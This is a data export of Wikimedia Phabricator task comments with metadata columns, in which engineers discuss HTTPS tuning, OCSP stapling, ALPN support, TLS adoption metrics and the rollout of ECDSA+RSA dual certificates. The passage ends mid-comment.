+428211,HTTPS performance tuning,"OCSP Stapling should happen by the end of the week, I think.  Worst case mid-next-week.  I've been merging up some of Faidon's previous puppet cert refactoring today, which I think will form the basis of how we puppetize this for production (which is the only hard part remaining; I've already sorted out the technicalities of doing it manually on our test instance).
+Session cache tuning is a bit of an unknown, other than that we know that how we're tuned today is not totally unreasonable.
+ECDSA is all about waiting on our vendor at this point, as Faidon has noted in T86654.",,,1426665028,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-16,True,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+428184,HTTPS performance tuning,Congrats for getting jessie into prod! Can we project an ETA yet for the remaining tuning tasks? Thanks.,,,1426660651,,PHID-USER-766idcqt4jkngnnuhnrj,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-16,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+408902,HTTPS performance tuning,"NPN is working with the current jessie-based stack.
+ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that.
+openssl 1.0.2 is currently in debian experimental ( https://packages.debian.org/experimental/openssl )",,,1423516047,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+408900,HTTPS performance tuning,"NPN + SPDY is enabled in the current test software stack and was fairly trivial to turn and seems to work fine.
+ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that.
+openssl 1.0.2 is currently in debian experimental ( https://packages.debian.org/experimental/openssl )",,,1423515861,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+408896,HTTPS performance tuning,"NPN + SPDY is enabled in the current test software stack and was fairly trivial to turn and seems to work fine.
+ALPN is apparently supported by the nginx codebase we're running, but will require an upgrade to OpenSSL 1.0.2 (jessie's on 1.0.1k) and a rebuild of nginx against that.",,,1423515631,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-taz44rhuzzm7s7ffe4l6,task_subcomment,,True,c3,1,True,,,-21,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+86664,HTTPS performance & UA adoption metrics,"We're currently flying mostly blind as far HTTPS metrics go; we don't know, for example, what percentage of users supports which versions of TLS or ciphers, or (soon) SPDY/HTTP2. We do have some NavTiming metrics but we don't have a great way of displaying these (dashboards).
+
+We should get more insight there. I've previously experimented with nginx lua + statsd plugin that logged ciphers & protocols and it did work fine but we should think of it more eloquently and deploy it. Probably blocked on T86648.",Medium,50.0,1421160279,1438966759.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_description,resolved,True,c3,1,True,False,True,-25,True,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+504176,HTTPS performance & UA adoption metrics,"We're not exactly flying blind anymore.  Analytics has done a bunch of independent analysis post-switch.  We've got cipher/protocol/sessionid metrics going to graphite and tessera, and of course since we're past the switch date we can already see the raw perf impact everywhere else.  Considering this done.",,,1438966759,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+450132,HTTPS performance & UA adoption metrics,"Thanks for creating this task. It would be even nicer if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. With its current definition the task is too vague, it may range from few hours of work to add some graph for existing data to years of work for entire university departments.  :)
+
+For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)",,,1430201566,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_subcomment,,True,c3,1,True,,,-10,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,1,0,0
+450131,HTTPS performance & UA adoption metrics,"Thanks for creating this task. It would be even nice if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. With its current definition the task is too vague, it may range from few hours of work to add some graph for existing data to years of work for entire university departments.  :)
+
+For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)",,,1430201510,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_subcomment,,True,c3,1,True,,,-10,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,1,0,0,0
+450129,HTTPS performance & UA adoption metrics,"Thanks for creating this task. It would be even nice if the description mentioned *all* the research that is needed or ongoing before the big red switch for T49832 is turned. Just titles would suffice. :)
+
+For instance, per-country errors %, per-project errors %, per-country navtiming, per-project navtiming, editor retention, editor activation, bounce rate, number or link clicks, ...? (Some unlikely, e.g. bounce rate.)",,,1430201131,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-ubyrzgqhbgjg4uultdu5,task_subcomment,,True,c3,1,True,,,-10,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+86654,Switch to ECDSA hybrid certificates,"For performance reasons, we should switch to ECDSA Hybrid (= signed by an RSA CA) certificates for our projects. This will bring us performance benefits, both in terms of RTTs and CPU usage.
+
+Since we now do SNI and the set of browsers that support SNI & ECDSA is the same (which we should double-check), we can safely do this with a wide UA impact and without hurting any non-compatible UAs, as long as we keep our fallback ""unified"" certificate RSA.
+
+This is blocked on availability of those certificates, as most CAs do not sell them yet. Our new CA provider, GlobalSign, had previously gave us a Q1 2015 ETA for these, right before we picked them. I asked our representative last Tuesday (and again today) to confirm that they're still on track for this.",Medium,50.0,1421158023,1436814123.0,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-chcedpjjo66iq6kl5u54,task_description,resolved,True,c3,1,True,False,True,-25,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0
+491503,Switch to ECDSA hybrid certificates,"Change 224728 merged by BBlack:
+Port Filipe da Silva's multicert patches, bump libssl to 1.0.2
+
+[[https://gerrit.wikimedia.org/r/224728]]",,,1436914960,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+491497,Switch to ECDSA hybrid certificates,"Change 224728 had a related patch set uploaded (by BBlack):
+Port Filipe da Silva's multicert patches, bump libssl to 1.0.2
+
+[[https://gerrit.wikimedia.org/r/224728]]
+",,,1436913911,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+491020,Switch to ECDSA hybrid certificates,"This is done for the primary unified cert on the cache clusters now.  At some later point we may want to go ECDSA+RSA for some of our minor certs on individual apaches, and/or the wmfusercontent.org and planet certs on misc-web, but that can be a separate task/discussion.",,,1436814116,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+490165,Switch to ECDSA hybrid certificates,"I'm going to be out on vacation starting Friday the 17th, and I also probably shouldn't turn on ECDSA just before the weekend today either.  That leaves Monday (13th) morning US-time as a good spot for deploying this, so I'll get 4 weekdays to observe before leaving related things on hold for a week or so.",,,1436547536,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+490157,Switch to ECDSA hybrid certificates,Updated the packages on cp1065 for some live-testing of just that part.,,,1436546943,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+490134,Switch to ECDSA hybrid certificates,"Now that all of the other supporting work is merged in puppet, cp1008 aka ""pinkunicorn.wikimedia.org"" now has a fully-puppetized test of ECDSA+RSA as of: https://gerrit.wikimedia.org/r/#/c/224012/3/modules/role/manifests/cache/ssl/unified.pp
+
+The remaining steps to enable on the rest of the cache cluster are, essentially:
+1. Install our new `openssl-1.0.2d-1~wmf1` + `nginx 1.9.2-1+wmf3` packages (they're already in reprepro as upgrades for these machines, just haven't done ""apt-get -y upgrade"" since).
+2. Switch on dual certs in unified.pp for all (as with the cp1008 testing commit above).",,,1436544705,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,1,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+490132,Switch to ECDSA hybrid certificates,"Now that all of the other supporting work is merged in puppet, cp1008 aka ""pinkunicorn.wikimedia.org"" now has a fully-puppetized test of ECDSA+RSA as of: https://gerrit.wikimedia.org/r/#/c/224012/3/modules/role/manifests/cache/ssl/unified.pp
+
+The remaining steps to enable on the rest of the cache cluster are, essentially:
+1. Install our new `openssl-1.0.2d-1~wmf1` + `nginx 1.9.2-1~wmf3` packages (they're already in reprepro as upgrades for these machines, just haven't done ""apt-get -y upgrade"" since).
+2. Switch on dual certs in unified.pp for all (as with the cp1008 testing commit above).",,,1436544663,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,True,,,1,True,1,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+489829,Switch to ECDSA hybrid certificates,"Change 224011 merged by BBlack:
+Add ecc-uni.wikimedia.org cert
+
+[[https://gerrit.wikimedia.org/r/224011]]",,,1436500445,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+489828,Switch to ECDSA hybrid certificates,"Change 224011 had a related patch set uploaded (by BBlack):
+Add ecc-uni.wikimedia.org cert
+
+[[https://gerrit.wikimedia.org/r/224011]]
+",,,1436500421,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+487709,Switch to ECDSA hybrid certificates,"Change 222067 merged by BBlack:
+tlsproxy: multi-cert support, including ocsp
+
+[[https://gerrit.wikimedia.org/r/222067]]",,,1436242090,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+484900,Switch to ECDSA hybrid certificates,"The necessary packages are now in jessie-wikimedia repo: (openssl-1.0.2c-1 in backports, nginx-1.9.2-1+wmf2 in main).  We're not deploying these to prod machines until we're further along with the rest of the plan, though.",,,1435757322,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+484764,Switch to ECDSA hybrid certificates,"Change 222067 had a related patch set uploaded (by BBlack):
+tlsproxy: multi-cert support, including ocsp
+
+[[https://gerrit.wikimedia.org/r/222067]]
+",,,1435736164,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+483995,Switch to ECDSA hybrid certificates,"Tested OCSP Stapling this evening as best I can: my test env was the latest stable FF release on Mac with strict OCSP prefs set.  If I disabled stapling at the server completely, I could verify with a sniffer that it fetched OCSP from GlobalSign directly when I hit pinkunicorn after a fresh browser start, every time.  With the dual-cert stapled response built in either order (RSA first or ECDSA first), FF did not fetch OCSP info from GlobalSign, and also did not give an error.  Works for me :)
+
+I'm basically satisfied with the tested raw setup at this point (it's also testing some DHE/ciphersuite stuff, but that's unrelated).  Blocking work for putting this on live caches is now:
+1. Put a real nginx-1.9.2-1+wmf2 build into reprepro, built cleanly on the jessie-wikimedia openssl-1.0.2c-1 backport (some minor issues with backports + copper + git-pbuilder to sort out)
+2. Some puppetization issues to sort out (essentially, upgrade the ""sslcert"" concept to an ""sslcertset"" concept of related certs for OCSP + nginx config)
+3. Wait till we're done with the initial perf measurement period on non-SNI RSA-unified config, due to happen on live caches this week.",,,1435637444,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,1,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+483223,Switch to ECDSA hybrid certificates,">>! In T86654#1408481, @JanZerebecki wrote:
+> Thanks.
+> 
+> Btw. cloudflare had again disabled ECDSA since quite some time. No comment from them in their blog. Any idea if there where other reasons besides the compatibility problems from T86654#1340042?
+
+I'm really not sure to be honest, and like you said they don't seem to have spoken publicly about it.  The compatibility issues were with ECDSA-only setups, and elsewhere [[ https://github.com/igrigorik/istlsfastyet.com/issues/38#issuecomment-52538316 | they mentioned they had patched their servers for multi-cert ]] (probably similar to the patches we're trying out now).  While https://blog.cloudflare.com does not seem to be dogfooding ECDSA, in a [[ https://blog.cloudflare.com/universal-ssl-be-just-a-bit-more-patient/ | later blogpost about Universal SSL rollout ]] they mentioned a particular customer's site to check out the new setup on here: https://ciaranmcnulty.com/ , and when I test that I do see ECDSA with a NIST P-256 key in use there.
+
+I tested a few other major sites with s_client: twitter doesn't have ECDSA either, but google and facebook both do (using P-256 as well).",,,1435523547,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+483208,Switch to ECDSA hybrid certificates,"Thanks.
+
+Btw. cloudflare had again disabled ECDSA since quite some time. No comment from them in their blog. Any idea if there where other reasons besides the compatibility problems from T86654#1340042?",,,1435514668,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+483101,Switch to ECDSA hybrid certificates,"Also, after writing all of the above, I feel it's important to reference xkcd's wisdom on this topic as well as a counterpoint: https://xkcd.com/538/ :)
+",,,1435461345,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+483102,Switch to ECDSA hybrid certificates,">>! In T86654#1407738, @JanZerebecki wrote:
+>>>! In T86654#1405484, @BBlack wrote:
+>> On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link from @JanZerebecki above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.
+> 
+> Can you qualify ""still very strong""?
+
+No, I really can't qualify that.  IANACyptographer.  All I can do is read the same papers everyone else on the Internet does and try to make good judgements.  I'll try to qualify my thinking as best I can, though.
+
+I tend to think the issues pointed out by e.g. safecurves, probably aren't sufficient on their own to avoid using ECDSA keys with a curve like NIST P-256 today alongside a 2K RSA key, in our specific implementation scenario for widely-compatible real world use.  Don't get me wrong: I've always been a huge fan of DJB, and I think he and others in the field are doing important work on these issues.  I can't wait for the day when widely-implemented standards we can rely on can use better curves like the 2^255-19 -based ones.
+
+But given where we're at today and what's available to us, I just don't know that we're losing much going from 2k RSA to ECDSA w/ NIST P-256 in this particular scenario, and we may really be gaining.  A lot of the attack methods rely on timing and side-channels and the same methods are probably pretty bad against RSA as well.  In our specific scenario, where we're doing a high volume of crypto on bare hardware we own as opposed to this being on a smartcard, or being used in a shared VM environment alongside attackers who can measure side-channel timing, or doing so few transactions that perf impacts are easy to isolate at a distance.  I don't think some of these attacks are pragmatically achievable as improvements over attacking other aspects of our TLS security (similar attacks on RSA, TLS flaws common to both key choices, OpenSSL flaws common to both key choices, RNG attacks, simply compromising our systems or breaking into and/or colluding with CAs, etc).
+
+Reading list, mostly from the ECDSA-negative/paranoid view:
+http://safecurves.cr.yp.to/
+http://blog.cr.yp.to/20140323-ecdsa.html
+http://eprint.iacr.org/2013/734.pdf
+This entire lengthy thread: https://www.ietf.org/mail-archive/web/tls/current/msg10149.html
+Reddit attacking Cloudflare's ""Yay ECDSA!"" blog post: http://www.reddit.com/r/netsec/comments/20kaaw/ecdsa_the_digital_signature_algorithm_of_a_better/
+
+Going back the other way, I guess a lot of what I'm saying here mirrors this guys' conclusions in Schneier's blog comments re pragmatism: https://www.schneier.com/blog/archives/2013/09/the_nsa_is_brea.html#c1678526
+
+The only argument I've seen that really frightens me about NIST P-256 in our scenario is the idea that it could have been specifically engineered by [[ http://www.ietf.org/mail-archive/web/tls/current/msg10321.html | its NSA author ]] to be spectrally weak through a fairly exhaustive but plausible search of the parameter space.  I don't think anyone has ever even implied any proof that this occurred, though.
+
+> Maybe we should wait for browsers to enable using a curve that is more bad ass ( http://safecurves.cr.yp.to/bada55.html )?
+> 
+> More seriously, we are already using NIST P-256  for ECDHE:
+> $ openssl s_client -msg -connect en.wikipedia.org:443 2>/dev/null |grep -A 1 ServerKeyExchange
+> <<< TLS 1.2 Handshake [length 014d], ServerKeyExchange
+>     0c 00 01 49 03 00 17 41 04 73 62 0f 9a 24 8f 97
+> The curve is identified by 0x0017 which is 23, see https://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-8 for the mapping.
+
+Yeah, that's the nginx default we're using there, for the config parameter: [[ http://nginx.org/en/docs/http/ngx_http_ssl_module.html#ssl_ecdh_curve | ssl_ecdh_curve ]],  Obviously, if we don't trust P-256, then we'd want to change that parameter.  However, AFAIK the only other viable option that's widely compatible with browsers is NIST P-384, which shares a lot of the same question-marks.  That or we shut off ECDH(E)-based ciphersuites completely, at which point we're back to...  what? Regular DH, which is even weaker?  Are there other realistic options here?  So long as we continue to accept P-256 for the ECDHE part, we can't really argue that using a P-256 key for ECDSA is making things any worse, right?",,,1435461568,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-chcedpjjo66iq6kl5u54,task_subcomment,,True,c3,2,True,,,-1,True,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1,1,1,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+483099,Switch to ECDSA hybrid certificates,">>! In T86654#1407738, @JanZerebecki wrote:
+>>>! In T86654#1405484, @BBlack wrote:
+>> On security issues, I lean towards thinking that ECDSA is better than RSA, and that while the available curves are not as theoretically strong as they could be (cf the safecurves link from @JanZerebecki above), they're still very strong, esp given the effective key size bump from RSA-2048 to ECC-256.
+> 
+> Can you qualify ""still very strong""?
+
+No, I really can't qualify that.  IANACyptographer.  All I can do is read the same papers everyone else on the Internet does and try to make good judgements.  I'll try to qualify my thinking as best I can, though.
+
+I tend to think the issues pointed out by e.g. safecurves, probably aren't sufficient on their own to avoid using ECDSA keys with a curve like NIST P-256 today alongside a 2K RSA key, in our specific implementation scenario for widely-compatible real world use.  Don't get me wrong: I've always been a huge fan of DJB, and I think he and others in the field are doing important work on these issues.  I can't wait for the day when widely-implemented standards we can rely on can use better curves like the 2^255-19 -based ones.
+
+But given where we're at today and what's available to us, I just don't know that we're losing much going from 2k RSA to ECDSA w/ NIST P-256 in this particular scenario, and we may really be gaining.  A lot of the attack methods rely on timing and side-channels and the same methods are probably pretty bad against RSA as well.  In our specific scenario, where we're doing a high volume of crypto on bare hardware we own as opposed to this being on a smartcard, or being used in a shared VM environment alongside attackers who can measure side-channel timing, or doing so few transactions that perf impacts are easy to isolate at a distance.  I don't think some of these attacks are pragmatically achievable as improvements over attacking other aspects of our TLS security (similar attacks on RSA, TLS flaws common to both key choices, OpenSSL flaws common to both key choices, RNG attacks, simply 